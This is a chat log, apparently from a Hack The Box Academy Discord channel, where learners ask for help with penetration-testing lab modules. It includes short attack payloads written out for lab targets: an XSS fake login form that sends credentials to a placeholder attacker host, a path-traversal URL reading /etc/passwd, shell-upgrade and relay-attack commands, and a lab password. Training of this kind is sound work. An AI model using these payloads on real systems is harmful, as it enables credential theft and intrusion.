  File "/usr/lib/python3/dist-packages/OpenSSL/__init__.py", line 8, in <module>
    from OpenSSL import crypto, SSL
  File "/usr/lib/python3/dist-packages/OpenSSL/crypto.py", line 3279, in <module>
    _lib.OpenSSL_add_all_algorithms()
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: module 'lib' has no attribute 'OpenSSL_add_all_algorithms'

If GetUserSPNs has bug, you could try to fix it like this...

[silver iris]

@acoustic owl Yes i understood that so far, but i don´t get how i find the other zones. That´s the only issue if have atm. If i know how to find other zones, than i can query them, and see if the host i´m looking for is in there. To me it´s just not clear how i find the other zone(s).

[warped geode]

Try this https://github.com/Lupoxoox/automatic_ffufer.git

[acoustic owl]

If you have read the link above, you know that DNS are divided into zones.
This means that each subdomain can theoretically be a zone.

[prisma saddle]

Hello, I am currently in the XSS Basics module in the Phishing section. While doing the exercise and following along, in the “Login For Injection” and “Cleaning Up” subsection, the following does not get rid of the URL entry form and I am unsure as to how to fix it to get rid of the URL form.

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();

I was able to do the login form injection by modifying the method using '> to comment out the img tag and then just injecting the raw HTML instead of minifying it and commenting out the end with <!–. I feel like minifying it should make it easier, and would like to understand how to do it using that method. Already tried googling many things. Might need to just take a break to let it all sink in. Thanks for any guidance you can provide.

[acoustic owl]

It's about DNS, not ffuf

[warped geode]

sorry i wanted to reply to a message about ffuf but i put it here sorry again

[silver iris]

Yeah like blog.example.com and shop.example.com right? So i find all the subdomains of example.com and query all of them with dig axfr example.com @IP i should find all hosts right?

[acoustic owl]

Only if each zone also allows a zone transfer. Otherwise not

any zone that does not allow zone transfer, you must query manually or with automated tools.

[warped geode]

however in the script I shared there is an option to search for subdomains if you need it
using ffuf as can also be seen in the attacking web app with ffuf module

[silver iris]

So i first have to run something like gobuster to find all subdomains, then query every single one of them to see if they allow zonetransfers and if i dont get the host im look for, i have to bruteforce those ones?

[acoustic owl]

No
Make a zone transfer of the domain inlanefreight.htb
You will get all subdomains in this zone.

Then consider which of these subdomains could be a zone and query them.

Be sure to read up on DNS so you understand exactly how it works.

[silver iris]

But if a subdomain is in another zone would the zonetransfer of inlanefreight.htb still show it?

[acoustic owl]

A successful zonetransfer reveals all data of this zone

So if you do a zone transfer to example.com and it is successful, you will get data like
ns.example.com
www.example.com
zone1.example.com

zone1 could be a zone of its own. You can query it right now.
If the zonetransfer is successful, you will get data like:
ns.zone1.example.com
www.zone1.example.com

[silver iris]

Ok i think i understand now. My first zonetransfer of inlanefreight.htb gave me this. And now i do zonetransfers of all subdomains to see wich doesnt allow zonetransfers and those i have to brute force. I´m really sorry to take up so much time and effort from you.

here for example internal allows zonetransfers, but doesnt have the host im locking for so i try the others

[acoustic owl]

If the zonetransfer is not successful, this zone may not allow zonetransfer from anyone.
Then you can still query this zone manually.
Like so

dig ns.zone1.example.com @nameserverip

[acoustic owl]

This means that there must be other zones

[silver iris]

Like dev. and app. or am i on the wrong track again?

Ok i really was overthinking it then. Thank you.

[hybrid kelp]

who own the keeper machine

i need some hints

[silver iris]

There is a channel for this box

#1139981418164920464

[hybrid kelp]

No access

[silver iris]

hint from me, dont overcomplicate and really look into everything you find

what did you try so far and what did you find?

[hybrid kelp]

yeah i find a servie version is 4.4.4

i,also find vulnerablity but not able to find any exploit

[acoustic owl]

Read and follow #welcome

[silver iris]

Dont overcomplicate stuff, not everything needs an exploit

[hybrid kelp]

means i,m missing that somethin important

[silver iris]

This box rewarded me for just looking at a lot of things

[hybrid kelp]

okay i,m searching by the way i,m script kidde now that time i,m thinking

should i try directory bruteforcing

[silver iris]

Have you found a site yet?

[hybrid kelp]

yeah

it,s

»|« RT 4.4.4+dfsg-2ubuntu1 (Debian) Copyright 1996-2019 Best Practical Solutions, LLC

i found login pannel

[silver iris]

Then look for what you can do with the login panel. Really dont overthink stuff

[hybrid kelp]

just bypass that login pannel

using burpsuite

[silver iris]

Sometimes you dont need tools or skripts, cant tell you more then that.

[hybrid kelp]

so u mean i want to inspect the code

in client side

[vital adder]

read #welcome and #rules after that use /verify at #bot-commands and ask that in #1139981418164920464

[hybrid kelp]

bro u own that machine

[civic zenith]

Im on 'login bruteforcing' and when I use cupp to generate a password list it says 'william.txt' is where the dictionary is saved, but when I search my filesystem for william.txt it says does not exist. Why is it doing this?

[vital adder]

first it's a box not a thm machine second nope and the box owner is on the box page

also don't dm the box's create begging for hint just ask your question in the appropriate channel

[hybrid kelp]

okay but the point is that

what i can do with login page

without using anytool how i can bypass

[vital adder]

which section are you on? also after inputting all of the info does the tool say something like outputed: (file name) or something?

[vital adder]

also pls stay on topic of this channel if not you will get the 👢 from one of the mod

[acoustic owl]

You should ask in #1139981418164920464
If you have no access read and follow #welcome
This channel is for questions about modules from the Academy

[vital adder]

read #welcome and #rules after that use /verify at #bot-commands and ask that in either #general or #1024429874246590575

[opaque mortar]

Thank you, my apologies.

[teal fiber]

yes for both x)

[west pine]

Is there a yearly silver student plan for the Academy? that's comparable to $8/m for students.

I mean, that's based on $8/m for students

[hybrid kelp]

who own keeper flags

[wild dragon]

Yeah 🤣

[teal fiber]

[wild dragon]

One piece fan

[teal fiber]

a lot! are you

[vital adder]

@autumn pilot if you are here could give this spamming clown the 👢 (* on all 4 academy channels)

[wispy tapir]

can anyone help me with this? 🙂 https://forum.hackthebox.com/t/login-brute-forcing-child-with-pid-xxxx-terminating-cannot-connect/294985

[autumn pilot]

i've deleted his messages there, if he really needs the hint for that machine, then he will need to verify and ask in the appropriate channel

[hybrid kelp]

i,m new here

so i dont have an idea to use that

[wild dragon]

Haha, gomu gomu no....

[autumn pilot]

well, if you haven't skipped the onboarding when you joined, you would have an idea what do to

go to #rules and then #welcome , and when I'm saying go there I mean go and read

[analog dock]

@autumn pilot there’s a message in #858470491676737536 too

[high reef]

section password attacks module Protected Archive i'm getting this error when i try to use zip2john.py line 1 ELF SyntaxError: source code cannot contain null bytes .

a google seach says this fixed it sed -i 's/\x0//g' FILENAME

however, not working for me.

any idea what i can do to fix this error

and i can't put zip2john in an interpreter because its a binary to crack protected archives

[broken warren]

#bot-commands as well, if no ones noticed

[high reef]

when i use python2 i get this error coed

[high reef]

i've been trying that

[vital adder]

try with just zip2john (without python2 or 3)

[high reef]

i get this error

[vital adder]

let move this to dm like always

@autumn pilot

[rare topaz]

💀

why do so many people go to white hat discords to ask for black hat stuff

[civic zenith]

@vital adder Sry had to run an errand.Back now. Im on Login Brute Forcing - Service Authentication Brute Forcing. Here is the exact output:[+] `Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to william.txt, counting 44504 words.

Hyperspeed Print? (Y/n) : n
[+] Now load your pistolero with william.txt and shoot! Good luck!`

[pulsar needle]

Whoever invented IMCP tunneling with socks was a genious

it looks like a nmap scan but its SSH (according to what I understood)

[silver iris]

@acoustic owl I´m still stuck here.
I queried all subdomains from the screenshot. Only Internal allowed zonetransfer. I queried every subdomain from internal, none allowed zonetransfers. I tried querying and bruteforcing every subdomain from the screenshot, only dev returned anything. The Subdomains i found, i all queried and brute forced and hit badrock again. Unless i missed something really obvisous i´m out of ideas again. For an academy module this is frustrating as hell. I give up for today.

[umbral fulcrum]

Hey Guys I'm in "Attacking Common Services - Hard" after getting F** password, I don't C a way 2 continue ...

[acoustic owl]

No!
Read the #rules

[pulsar needle]

with what?

[vital adder]

@languid dawn #modules message

[pulsar needle]

a box?

[vital adder]

with hacking someone account

[pulsar needle]

someones*

F, idk if thats legal lol

[acoustic owl]

https://cdn.discordapp.com/attachments/774040263278592041/1141388436394217623/sussy_dumpass.png

[pulsar needle]

I mean, at least he tried xd

[acoustic owl]

If dev gives something back, it is a zone 😉

This section requires a deep understanding of DNS.

[umbral fulcrum]

I ||understand I'm need 2 create a local linked server||, but I can't manage 2 do so...

[brazen saffron]

Well I am trying to do the SQLi module but when I am following steps who in the module I am getting this problem.

With a blank password.

[vital adder]

you are trying to connect to yourself

[brazen saffron]

Yes?

[vital adder]

first you are on the right path and the output look good but you don't get a wordlist for some reason?

[vital adder]

so are you running a mysql server on your kali?

[brazen saffron]

I should to connect to the target given by the module?

[brazen saffron]

I am trying.

[vital adder]

of course

[brazen saffron]

Alr alr.

[vital adder]

hint you are on a some what right path but wrong idea

[silver iris]

OK i will continue with that hint and more reading up tomorrow. Thanks for the hint. For now my head hurts 😄

[gloomy bramble]

Yea, think about what you are reading or saying, and what you are actually seeing. This through me off for a bit of time.

[acoustic owl]

What you like or dislike is absolutely irrelevant in this channel.
Stick to the #rules or feel the 👢 of a mod/Admin

[umbral fulcrum]

my god U killed me right now....

[acoustic owl]

gobuster vhost --random-agent
or
gobuster vhost --useragent yourstring

https://sohvaxus.github.io/content/gobuster.html

[umbral fulcrum]

maybe another 1 please?

[vital adder]

a better way to put this is you don't need to create anything

[normal basin]

wmic command fails

sid fails

[gloomy bramble]

^

[normal basin]

the cheat sheet does not work for HTB academy

[vital adder]

https://dontasktoask.com/

[normal basin]

thanks

sorry to offend snowflake

[vital adder]

no i'm communist

[umbral fulcrum]

not sure what 2 do next,
thanx anyway 👍

[vital adder]

hint go back to the ||SQL|| section there is some example for this ||(near the end)||

[umbral fulcrum]

yeah..

still trying 2 figure it out ....

[vital adder]

pretty sure if you ask it the right thing it will help you

if you ask that then of course 🤣

just use https://www.revshells.com/

@rustic sage also read #welcome and #rules after that use /verify at #bot-commands and if you have questions that isn't about the academy module pls ask that in either #general or #hacker-lounge or #1024429874246590575 thk

[civic zenith]

Fixed it by switching to the pwnbox

[teal fiber]

Module: Winprivesc - Section: DnsAdmins: i'm part of domain adm with netadm but can't read the flag on admin desktop. is this correct?

[proud pine]

How have mods not cleaned up this mess still

[echo roost]

how do you convert a RID decimal you obtain from a SID and convert it into hex like i this module - https://academy.hackthebox.com/module/143/section/1269

this paragraph:
While looking at users in rpcclient, you may notice a field called rid: beside each user. A Relative Identifier (RID) is a unique identifier (represented in hexadecimal format) utilized by Windows to track and identify objects. To explain how this fits in, let's look at the examples below:

The SID for the INLANEFREIGHT.LOCAL domain is: S-1-5-21-3842939050-3880317879-2865463114.
When an object is created within a domain, the number above (SID) will be combined with a RID to make a unique value used to represent the object.
`So the domain user htb-student with a RID:[0x457] Hex 0x457 would = decimal 1111, will have a full user SID of: S-1-5-21-3842939050-3880317879-2865463114-1111.`
This is unique to the htb-student object in the INLANEFREIGHT.LOCAL domain and you will never see this paired value tied to another object in this domain or any other.

However, there are accounts that you will notice that have the same RID regardless of what host you are on. Accounts like the built-in Administrator for a domain will have a RID [administrator] rid:[0x1f4], which, when converted to a decimal value, equals 500. The built-in Administrator account will always have the RID value Hex 0x1f4, or 500. This will always be the case. Since this value is unique to an object, we can use it to enumerate further information about it from the domain. Let's give it a try again with rpcclient. We will dig a bit targeting the htb-student user.

[obtuse fiber]

Module: Pivoting, Tunneling, and Port Forwarding
Chapter: Skills Assessment
Question: Submit the contents of C:\Flag.txt located on the Domain Controller.
Issue: I'm in the machine before the ||(172.16.6.25)|| DC ||(172.16.10.5)|| and as per the hints in here ||I should find a mount drive on it|| but I can't find the ||Z: drive|| as can be seen below

[tranquil axle]

thats a normal decimal to hex conversion, you can just type in google "500 in hex" and it will tell you

[rancid mulch]

Module: Kerberos Attacks
Question: Unconstrained Delegation - Users

callum.dixon:C@lluMDIXON has Unconstrained Delegation set and carole.rose:jasmine has genericwrite over callum.dixon. Using this information, try to compromise the domain and read the content of C:\flag.txt on DC01

I can't seem to get printerbug or krbrelayx.py to work properly, whenever I execute printerbug with

python3 printerbug.py inlanefreight.local/carole.rose:jasmine@10.129.205.35 roguecomputer.inlanefreight.local

I get an error in krbrelayx that the MechType is unsupported any help please

[echo roost]

I tried cyberchef and it gave me weird output

[tranquil axle]

cyberchef probably works on the ascii representation of your input and not on the actual number 500

[echo roost]

I know the admin one but other users will have other sids. It that the same for 1111, 1112, 1113 etc...

So just google it basically?

[tranquil axle]

you should probably take a quick detour and look up what hexadecimal/binary/decimal means and how the same number gets represented in each numeral system

google can do it, calculators can, you can calculate it manually or use a programming language to go from decimal to hex number representation. Its just a different way of writing the same number

[vital adder]

hint use one of the example to get a list of user and there rid (in hex) convert the number in the question into hex and compare that with the list you got

[echo roost]

I understand them. Looking for a quick way to convert to enumerate rids using rpcclient if I need to

[obtuse fiber]

May I get a hint for this please

[echo roost]

I see what you're saying I was speaking in general. If I have a user named sam in my ad set wouldn't it have a different RID than the examples?

since it's immutable?

[vital adder]

not sure but i think so

also you can google for a quick Hexadecimal to Decimal converter if you want to do the converting the other way around

[echo roost]

See what I mean. If I get a list of SID's, I am trying to find and easy way to grab the RID of the end and convert it to HEX to enumerate them in rpcclient to get a user list to password spray using cme or other tools. If I just Google it I get the needed answer.

THanks all

HTB representing at DefCOn this year 💪

[vital adder]

yeah can't wait for the new prolab

[thorn ingot]

Do you guys feel that Server-side attack module needs a rework? I haven't finished it yet, but I feel it's so long, yet I'm barely understanding a thing compared to any other module.

[trail leaf]

Server-Side attacks was okay, skills assessment barely covered stuff in the module though. The API attacks and Session Security ones definitely need a little bit more improvement

[rancid mulch]

Anyone available for a DM I have a few questions on how to do this attack

[jaunty vigil]

anyone can help me out with this?

Windows Event Logs & Finding Evil

[urban walrus]

Hi, I'm currently doing the Attacking SQL databases and for the life of me I can't connect to the MSSQL port(HTB provided credentials). I used mssqclient.py, sqsh on both my host machine and the Browser Machine and I can't connect to the share. I even copied and pasted the cheatsheet and just changed the IP and creds and I still can't connect. Anyone else having this problem

[brazen saffron]

I am learning SQLi but I would like to know, how do we know we are as admin? We should know an username to be connected as admin right?

[pulsar needle]

root is at /root?

yes

its /root

or wdym?

[thorn urchin]

looks like whatever shell youre using doesnt support changing directories

just use your commands with full paths instead of cd first

you dont have to cd to / and then ls, you can just ls /

that or get a more flexible shell going

dealers choice

[fathom pendant]

Probably upgrade to a pty shell

So do the python pty upgrade

python3 -c 'import pty;pty.spawn("/bin/sh")'

It's a fairly basic command I'm surprised it's not in the section

The getting started: nibbles does go over a reverse shell method

I'd highly recommend though following the module's way first, and then trying to find alternative ways

As the video you watched was probably the actual retired box, and not related to how academy wants to teach it

Just that server:port

It's a docker container with a public ip

Since it's a docker container though high likelihood its a website and you can visit http://ip:port

None of those

You're looking for a vulnerable plugin

:)

And iirc when you visit the page, it's nice enough to tell you

Look it up and find out

Iirc there's only one that regards file reading

[hoary mauve]

for attacking common applications > skills assessment 3, the given RDP creds just don't seem to work. the command i'm using is rdesktop -u Administrator -p xcyj8izxNVzhf4z 10.129.95.200. the RDP connection initiates, but when i get to the rdesktop interface, the login screen greets me with "That username or password is incorrect, try again". i'm not really sure what i'm doing wrong here - the creds are the provided ones, the VPN is up, but it just doesn't accept the creds it's supposed to.

[jaunty vigil]

try xfreerdp

[hoary mauve]

that worked, thanks

[jaunty vigil]

pog

[bold salmon]

Hi! Anyone can help me through DM's or from here. I'm stuck doing the File Inclusion Prevention section and I have a question about the second question. To rewrite the php.ini files do you need to do a sudo chown to change the file ownership from the root user to the htb-user. I have tried a lot of things a nothing seems to disable the system function

[fathom pendant]

Or you can do sudo vim/nano/whatever editor

[brazen saffron]

Well I am stuck at the module SQLi, the section "Using Comments", I do not understand why it's telling me it's failed,

I tried ||tom, root, admin, user||.

[tawdry vapor]

hello all please give me a hint on this question .... am not able to spawn a reverse shell although i followed the steps in the module
section: password attacks
module: pass the hash
Using Julio's hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt.
appreciate any help

i can't connect to DC01, i just connect to MS01

[brazen saffron]

Nvm found.

[tawdry vapor]

anyone? 🥺

[nimble fractal]

I would guess either you're not following the directions precisely or you need to reset the environment.

[jaunty vigil]

splunk module

[fathom pendant]

That is indeed the splunk module

[jaunty vigil]

yep need help w that question

[fathom pendant]

What have you tried?

[jaunty vigil]

i found th eport for one of them

not both tho

[tawdry vapor]

I followed what is in the module notes, but I can only connect to MS01

[fathom pendant]

Just looking around should help

[nimble fractal]

It seems to be clearly telling you to connect to MS01 and then to DC01. Did you try that?

[fathom pendant]

It actually gives a clear example of what to do

[nimble fractal]

I say that as I'm struggling with what should be an easy challenge. Broken Authentication - Predictable Reset Token - question 2. I know the encoding and token format. I've tried variations and still can't get it to work. Feels like it should be something simple I'm not doing right.

[fathom pendant]

sprays windex on it

[brazen saffron]

Just to understand how to avoid to have SQLi on a website, we have to block any special character like space, ', (, etc. no?

When we use MySQL, etc.

[nimble fractal]

No. Parameterized or 'bound' sql statements

[brazen saffron]

What?

I did not finish the module but trying to understand x).

[nimble fractal]

Trying to implement a filter is not a good solution

[brazen saffron]

Ah.

They explain at the end?

In the module from HTB.

[nimble fractal]

Something like from the answer here https://stackoverflow.com/questions/13190392/how-can-i-bind-a-list-to-a-parameter-in-a-custom-query-in-sqlalchemy

[urban valley]

Hi can someone help me with the docker section for Linux Priv Esc? I am unsure of where to start after you SSH into the target machine

[analog dock]

Just follow the section

The command you need to exploit is literally given at the end

Nope

[urban valley]

thanks. was able to get root and find the flag 🙂

[analog dock]

You’re welcome 👍🏼

[gusty zinc]

Module: Broken Authentication
Section: Predictable Reset Token
Question: ```
Create a token on the web application exposed at subdirectory /question1/ using the Create a reset token for htbuser button. Within an interval of +-1 second a token for the htbadmin user will also be created. The algorithm used to generate both tokens is the same as the one shown when talking about the Apache OpenMeeting bug. Forge a valid token for htbadmin and login by pressing the "Check" button. What is the flag?

Can I get some help with this? I have code thats functioning, but I cant get the solution.

[acoustic owl]

Wait, what?
Your code works, but it doesn't work?

Your code must generate tokens based on the time displayed.
If you look closely at the token from the user, the time is given in Unix Timestamp format. That means in milliseconds
This means that you have to create a token for the given time +/-1000 milliseconds. So in total 2001 tokens.
Your script must then test these against the page.

[gusty zinc]

works in that it generates tokens, send them, and i get responses, but no correct token submissions

[twin pond]

If I brute force a random site without permission, will there be any problems?

[sullen crest]

themIm stuck on the first part of WINDOWS EVENT LOGS & FINDING EVIL, Windows Event Logs
. I tried many things when looking into the logs and backtracking. I feel like there wasnt enough of an explanation on where i should be looking, i tried their links and read through, but nothing helped. Could really use some advise on this

[gusty zinc]

@acoustic owl could you glance at my code and tell me if im way off?

[acoustic owl]

I am not at the PC and have only the cell phone to read the text. But I can try

[acoustic owl]

Any attack without authorization leads to problems

[tight mesa]

hey guys, I'm stuck in the Password Attacks Lab Hard, any hint regarding
to brute force?

[high reef]

i'm doing the password attack lab

how long did it take anyone who completed this lab to get the usernam and password ?

[iron plaza]

how many files did you download from the resources?

[high reef]

just the one password file

and ofc i did the mut_password.list file as well

@iron plaza

[iron plaza]

you sure you tried it with the mutated file?

[high reef]

i haven't done that file yet, just running the regular password.list file first

[iron plaza]

well try that aswell

[high reef]

eta on how long that will take ?

[tulip parrot]

Anyone can help me ? I also tried the PetitPotam.py exploit but I keep getting “200 OK” followed by HTTP headers and HTML in the body.

[tulip parrot]

it will take a long time throught ssh, do it with the smb, its the same password 🙂

[high reef]

smb doesn't work

[tulip parrot]

do a nmap and look what other services you get, try ftp

[tawdry vapor]

Can anyone help me??

i'm stuck with this question a few hours

wow, i got it 🦾

[tulip parrot]

if someone can help me through

[hybrid kelp]

who complete LFI module

Bypass basic path traversal filter is not working

how can i bypass that

The above web application employs more than one filter to avoid LFI exploitation. Try to bypass these filters to read /flag.txt

how can i bypass that

[limpid siren]

I can't understand how all the guys I read have get the "action.php" file with the "id" parameter in SQLMap Essentials - Skill Assessment. I've checked all the minishop webpage, I've used dirb and fuff to find files or directories, but I can´t get it. CAN ANYONE HELP ME WITH THIS PLS?

[hybrid kelp]

i read that

and i tried

[tidal mango]

So you have not seen the action.php show up? Is that the question?

[urban valley]

for Linux Priv Esc under Python Library Hijacking section, I am unsure of how to proceed:

[tidal mango]

Your real close here, look at the section and see where they are starting out with the /

[alpine nexus]

Asking for (newbie) reccomendation, what distro did you guys use rn?

[fathom pendant]

Most people use kali or parrot

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[hybrid kelp]

bro i tried it,s not working

why

[alpine nexus]

Alright, thank you @fathom pendant

[tidal mango]

Try changing the language on the page and pay close attention to the URL when you do.

[errant steeple]

i use manjaro

was planning on switching to NixOS but not sure yet

[trail leaf]

The section goes over what to do here. Look at what the Python file is importing, and see if you can hijack that.

[hybrid kelp]

http://83.136.252.24:38732/index.php?language=....//....//....//....//etc/passwd

i tried it

[urban valley]

Can I DM you?

[trail leaf]

sure thing

[tidal mango]

Seems like that is not it...

[hybrid kelp]

i did that

bro

[tidal mango]

again, look at the URL when you choose a language, you are starting in the wrong place for the LFI. Where is the / ?

[hybrid kelp]

add langauages parameter

[wind elbow]

is there a python course for beginners somewhere?

[hybrid kelp]

bro go and read books i think it,s a good source

u got a lot of knowledge that the courses not give you

[candid ocean]

Module: Attacking Thick Client Applications
The doco explains to right click on the address and select "Dump Memory to File"
This has been asked a couple of times here with no 'non DM' answer can someone please assist, for context this is what im looking at

EDIT: For people that come across the same issue, to find the DUmp to memory to file option you need to go back to the Memory Map tab (After identifying you have MZ in your magic bytes) and right click on the address in that section

EDIT2: If you have having issues with the memory map refreshing too much, saw this asked a couple of times too, sort the information in here by the address column, little harder to track the entry but a million times easier than a bouncing list.

[mild glade]

Introduction to Windows Command Line
on the skills assessments,
none of these account names got accepted as a flag
need any hint or clarification if I'm doing something wrong

[fathom pendant]

Don't use a filter

As in don't filter by amount

Because the question is specifically stating "multiple in a row"

I believe the module/section gives an example using a table format which grants a larger picture

[mild glade]

u mean the filter hash table ?

[fathom pendant]

I just mean whatever is giving you that count hold on

[autumn pilot]

Read the question carefully, and ask yourself on which machine you are currently on

[fathom pendant]

Also that

[mild glade]

shouldn't it be user10 ?

tried all users

have been stuck there for 2 days

[fathom pendant]

Are you logged into the domain controller?

[mild glade]

yeah, once I got in the machine I did ssh to to DC

[fathom pendant]

https://www.itprotoday.com/powershell/how-find-failed-logon-attempts-powershell this is what I used

[mild glade]

well, ty but it didn't tell more than the event section

[fathom pendant]

So you've done the |Select-Object TimeCreated, Message | Format-Table -Wrap?

[mild glade]

yeah

[fathom pendant]

The output that you showed earlier had truncated output

That's why I was confused

You may need to manually parse through some of the info to actually see it

[mild glade]

yeah got u, The problem that I don't know what am doing wrong,
and to be honest after 2 days I saw a video for its solution and with the same steps it doesn't show the same output that contain the flag

[fathom pendant]

I think your command is slightly off

That's the thing if you copy/paste the command from the site I linked, it should give it to you

So there's something that you're doing incorrectly

[mild glade]

I should look at this part of every message u meant ?

[fathom pendant]

Whether it's not actually being connected to the DC or adding filters that you don't need

[fathom pendant]

Yes

[mild glade]

looked at it for so long and the same thing 😦

[fathom pendant]

Once you scroll through it for a bit, you'll find it easily

Because the answer isn't an actual account name on the system, which is throwing you off

I believe

[fathom pendant]

Your filter was filtering just accounts on the system, which wasn't showing the full picture

admin isn't necessarily the wrong thought path however

[mild glade]

get-winevent -filterhashtable @{logname='security';id='4625'} | foreach-object{$_.properties[5].value} | group-object | select-object count,name

you can try it, i believe it will give u the answer

[fathom pendant]

You don't need the foreach

Yeah your idea was in the right place but your filter is just not right

[mild glade]

to prove that I'm DC xd

[fathom pendant]

Use the command given in the website I linked earlier

[mild glade]

will reset the machine and try again

[fathom pendant]

I mean sure

But I'm just telling you what's actually wrong

[mild glade]

tried it again and the same output

[fathom pendant]

Your command or the one from the website

[mild glade]

the one from the website that show every message

so when I ssh from my machine to user10
then I ssh to user10 again

I think am an idiot here or am doing it right ?

[fathom pendant]

You should be ssh to the dc as user10

[mild glade]

ssh user10@<IP>
am doing it with that ^

[fathom pendant]

Yes

And the dc is user7 ip

[mild glade]

yeah

oh no

xd

shit

[fathom pendant]

[mild glade]

[deep iris]

Hey guys, I´m kinda stuck right now on the Knowledge Check of the "Getting started" module, I feel like I´m missing something really stupid, I already tried to run RCE vuln on it, I also tried GetSimpleCMS PHP File Upload Vulnerability but I get Auth failed (I already made sure to check it´s the right username and password), I also tried XSS on theme-edit.php but the upload button doesn´t seem to be working and tried a reverse shell but I don´t get any response

[mild glade]

@fathom pendant ty and sry for the headache bro, I think i got crazy xd

[fathom pendant]

You were ssh into the same ip

And not dc

[mild glade]

yeah

[fathom pendant]

Which is what we were trying to tell you xD

[mild glade]

the problem that I didn't notice it because in the previous questions starting from user7 I was doing it right

suddenly it went away from my mind

[fathom pendant]

Gl in future!

[violet tundra]

Hello everyone, does any of you had segfault when starting the msfvenom payload on ubuntu box ?

I get the same issue as this guy

Is it because i created the payload on a arm machine for a x64 one ?

[fiery berry]

what it the output of the arch command ?

[vital adder]

if you are on arm system it's still shouldn't matter (i think) but if the normal elf shell doesn't work try metasploit web delivery

[violet tundra]

Oh i know what it was !!

Forgot to set the correct payload in msfconsole

[hidden trellis]

is it possible to give where im at and what im thinking for whitebox attacks skills assessment to see if im in the ball park?

[wanton estuary]

Anyone know why I'm unable to rdp onto windows box in the ad enum and attack module using xfreerdp /u:htb-student /p:'Academy_student_AD!' /v:ip

[vital adder]

in general you need to give the AD box's a good few min to fully booted up before you can even used it

also if you are having timeout issue you can use /timeout:80000

[wanton estuary]

If I tried to rdp in while it's setting up could that break the box?

[vital adder]

can't say for sure but personality i do feel like some of the AD box's does get a bit more buggy if you touch it before it's fully booted up but that could just be a me thing

[wanton estuary]

Okay thanks I'll revert and wait 5 mins before I rdp in

Still not working. I've noticed in the past I have had to click accept or continue on a blue screen before the desktop loads, is there a command to auto accept this?

Currently the rdp window opens but is just a black screen

[vital adder]

which section are you on? i'll get that i try

[wanton estuary]

Kerberoasting with windows

When I add the timeout flag it worked immediately?

Brings up a computer access policy screen

That's weird I thought the log would have said something about the timeout

Ty

[hidden trellis]

can anyone help with whitebox attacks skills assessment?

[vital adder]

@wanton estuary thought i might as well send you the screenshot i make for this

[wanton estuary]

Cheers

[silver iris]

I did it, but wasted half a day because of the wrong wordlist 😦
Thanks for you time and patience 🙂 Mind if i add you?

[pine dagger]

Sure, dm me.

[pulsar needle]

Do I really have to scan for 4 hours? (Pivoting, Tunneling, and Port Forwarding - Skill assessment)

[fathom pendant]

Nmap through proxychains sucks

[pulsar needle]

welp f

[fathom pendant]

Try a different method of ping sweep

[pulsar needle]

aaaaa

[fathom pendant]

Hint: check the ip of the target you're connected to. That's where you can start

[frozen mesa]

Can anyone give me an example? I cannot get the DNS working in ATTACKING COMMON SERVICES - Attacking DNS.

[pulsar needle]

Found it, thanks

[fathom pendant]

Are you adding the ip to your command?

[frozen mesa]

yes and no, tried with and without (you gave me earlier this hint) but i didnt get what i was expecting. Can you give me an example? So i can see what i am doing wrong.

[fathom pendant]

i.e. nslookup <domain> ip
dig any <domain> @<ip>

Oh yeah

[frozen mesa]

After reboot, it did work now

[fathom pendant]

This is the subbrute one

[frozen mesa]

yes

[pulsar needle]

Why doesnt this work?

for j in {0..5}; do (for i in {1..254} ;do (ping -c 1 172.16.$j.$i | grep "bytes") ;done | grep "bytes from");done

[frozen mesa]

and i do not have to add any of the (sub)domains to etc/hosts?

[fathom pendant]

Cmd vs powershell

[pulsar needle]

Its bash

I want to scan all the ips with one script, my old solution was to copy paste xd

[fathom pendant]

You need to add the inlanefreight.htb to your /etc/hosts

[frozen mesa]

ok, thanks.

[fathom pendant]

Is the first host linux?

I honestly forget

[pulsar needle]

Yes it is

but idk how to do all of this in one line, i want to do that

[vital adder]

if you are in on from your previous screenshot then first you didn't use proxychains when running the ping and second proxychains doesn't support ICMP traffic

[pulsar needle]

I am not using proxychains

Look at the screenshot

[vital adder]

oh in this case it's working fine

[frozen mesa]

I assume i also should be doing this with newly found subdomains?

[pulsar needle]

I just want to make it into a one liner, but the one liner i tried to make didnt work

[vital adder]

wait but why do you need to sweep all 254 network? you can just sweep the network that your target box are connected

[fathom pendant]

Well once you find the correct subdomain, it should just be a dig request

[pulsar needle]

Can you please just help me make the script? This is the subnet i need to scan

[fathom pendant]

Put a $ in front of the ( before the second for loop btw

But it looks like you got 2 responses in your ping

[barren parcel]

Yo

[fathom pendant]

This screenshot shows 2 responses

[pulsar needle]

Again, my problem is not that I cant do it, its just that I want to make it into a 1 liner instead of having to copy paste the script with small tweak

[fathom pendant]

That's outside the scope of the module tbh

[pulsar needle]

But

Do you know how to do it?

[fathom pendant]

Just look into bash scripting if you wanna figure it out

[pulsar needle]

I just want help with this, its like when i ask my math teacher for a problem that he knows how to solve but doesnt want to help because its for the next lesson, but ok

[fathom pendant]

I think if you're doing a command within a command you need to do $()

[pulsar needle]

ill google it then lol

[fathom pendant]

I really don't know

I just kinda FAFO

[pine dagger]

for i in {0..5}; do for j in {1..254}; do ping -c 1 172.16.$j.$i | grep "bytes" ; done | grep "bytes from"; done

Works fine.

[pulsar needle]

ah oke xd, sorry

[fathom pendant]

I was gonna say I wasn't sure if the parenthesis were even necessary

[pulsar needle]

So I dont need parenthesis?

[fathom pendant]

As you're just nesting a loop

Not creating a conditional

[pine dagger]

Can't test with the subnet, so can't confirm whether it gives you precisely the result you want, but if you remove the " from", it gives:

(pulled that answer from 1st hit on Google)

https://stackoverflow.com/questions/4847854/bash-shell-nested-for-loop

[pulsar needle]

It just sits there xd

[pine dagger]

Yeah it will do

[fathom pendant]

Bytes from is to grab the response

[pine dagger]

If there's no response

[fathom pendant]

^

[pulsar needle]

Either its 1000 times slower or it doesnt work

idk

[fathom pendant]

You haven't terminated both for loops

[pine dagger]

Every single ping that fails will take longer

[pulsar needle]

a

ok, lemme restart it xdf

[fathom pendant]

